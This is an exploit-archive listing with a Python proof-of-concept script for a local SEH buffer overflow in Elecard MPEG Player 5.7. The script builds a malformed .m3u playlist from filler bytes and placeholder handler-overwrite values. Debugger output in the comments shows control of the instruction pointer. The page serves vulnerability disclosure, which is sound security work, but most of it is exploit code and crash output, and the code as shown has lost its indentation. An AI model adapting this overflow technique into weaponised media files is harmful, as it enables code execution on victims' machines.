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Elecard MPEG Player 5.7 Buffer Overflow

Elecard MPEG Player 5.7 Buffer Overflow
Posted Feb 24, 2011
Authored by badc0re

Elecard MPEG Player version 5.7 local buffer overflow proof of concept exploit.

tags | exploit, overflow, local, proof of concept
MD5 | 9bd765d2a9f37deeaed2bba61faf3f7b

Elecard MPEG Player 5.7 Buffer Overflow

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#!/usr/bin/python
#
#
# Elecard MPEG Player 5.7 Local Buffer Overflow PoC (SEH)
#
#
# Vendor: Elecard Group
# Product web page: http://www.elecard.com
# Affected version: 5.7.100629
#
# Summary: Elecard MPEG Player is a high-quality full-featured multimedia
# player supporting the newest formats, designed to provide you with
# video and audio playback.
#
# Desc: The program suffers from a buffer overflow (SEH) vulnerability
# when opening playlist file (.m3u), as a result of adding extra bytes.
#
#
# ---------------------------------------------------------------------
#
# (d08.33c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000104 ebx=000037bb ecx=0000002a edx=00000104 esi=0013c73c edi=0013ffff
# eip=0045563e esp=0013c6c0 ebp=0013cb14 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
# *** ERROR: Module load completed but symbols could not be loaded for image00400000
# image00400000+0x5563e:
# 0045563e f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
# Missing image name, possible paged-out or corrupt data.
# Missing image name, possible paged-out or corrupt data.
# Missing image name, possible paged-out or corrupt data.
# 0:000> g
# (d08.33c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=44444444 edx=7c9032bc esi=00000000 edi=00000000
# eip=44444444 esp=0013c2f0 ebp=0013c310 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
# <Unloaded_i.dll>+0x44444443:
# 44444444 ?? ???
# 0:000> !exchain
# 0013c304: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)
# 0013cb04: <Unloaded_i.dll>+44444443 (44444444)
# Invalid exception stack at 43434343
#
# ---------------------------------------------------------------------
#
#
# Tested on: Microsoft Windows XP Professional SP3 (English)
#
# Vulnerability discovered by: badc0re (Dame Jovanoski)
#
#
# Advisory ID: ZSL-2011-4998
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2011-4998.php
#
# 24.02.2011
#
# Special Thanks to:
#
# LiquidWorm (the master :P)
# Corelanc0der(great tutorials and forum)
#


f=open("default5.m3u","w")
print "Creating expoit."
head="#EXTM3U\n"
head+="#EXTINF:153,Artist - song\n"
junk="\x42"*4
nseh="\x43"*4
seh="\x44"*4
junk1="\x41"*20165

try:
f.write(head+junk1+nseh+seh+junk)
f.close()
print "File created"
except:
print "File cannot be created"

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